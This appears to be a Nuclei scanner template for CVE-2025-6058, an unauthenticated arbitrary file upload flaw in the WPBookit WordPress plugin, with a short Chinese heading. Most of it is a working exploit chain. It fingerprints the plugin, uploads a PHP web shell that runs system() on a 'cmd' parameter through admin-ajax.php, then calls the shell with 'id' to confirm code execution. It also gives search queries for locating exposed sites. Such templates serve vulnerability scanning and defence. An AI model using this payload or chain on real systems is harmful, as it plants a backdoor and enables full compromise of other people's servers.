漏洞描述
The WPBookit plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the image_upload_handle() function hooked via the 'add_booking_type' route in all versions up to, and including, 1.0.4.
id: CVE-2025-6058
info:
name: WPBookit <= 1.0.4 - Unauthenticated Arbitrary File Upload
author: pussycat0x
severity: critical
description: |
The WPBookit plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the image_upload_handle() function hooked via the 'add_booking_type' route in all versions up to, and including, 1.0.4.
impact: |
Unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.
remediation: Fixed in 1.0.5
reference:
- https://wordpress.org/plugins/wpbookit/
- https://github.com/Nxploited/CVE-2025-6058
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wpbookit/wpbookit-104-unauthenticated-arbitrary-file-upload
classification:
epss-score: 0.23246
epss-percentile: 0.95747
metadata:
verified: true
max-request: 1
publicwww-query: "/wp-content/plugins/wpbookit/"
fofa-query: body="/wp-content/plugins/wpbookit/"
tags: cve,cve2025,wordpress,wpscan,wpbookit,intrusive,file-upload,wp
variables:
payload: '<?php echo "<br>"; if(isset($_GET["cmd"])){ echo "<pre>"; system($_GET["cmd"]); echo "</pre>"; } ?>'
cmd: 'id'
month: '{{date_time("%Y/%M")}}'
filename: "{{to_lower(rand_base(5))}}"
string: "{{to_lower(rand_base(8))}}"
flow: http(1) && http(2) && http(3)
http:
- raw:
- |
GET /wp-content/plugins/wpbookit/README.txt HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "WPBookit")'
condition: and
internal: true
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="action"
wpb_ajax_post
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="route_name"
add_booking_type
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="title"
{{string}}
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="booking_type"
{{string}}
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="cover_image_img"; filename="{{filename}}.php"
Content-Type: application/octet-stream
{{payload}}
------WebKitFormBoundary7MA4YWxkTrZu0gW--
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_all(body, "success","status")'
condition: and
internal: true
- raw:
- |
GET /wp-content/uploads/{{month}}/{{filename}}.php?cmd={{cmd}} HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'regex("uid=\\d+\\([^)]+\\) gid=\\d+\\([^)]+\\) groups=\\d+\\([^)]+\\)", body)'
condition: and
# digest: 4b0a00483046022100e68d2c4c9b7880c5ca97389404044b82d63328e7084aeeb8a1f888ea1032c953022100d29da4aaa989520feffb329661ec5d11c3c39f157830acfed0b7d377ce54319f:922c64590222798bb761d5b6d8e72950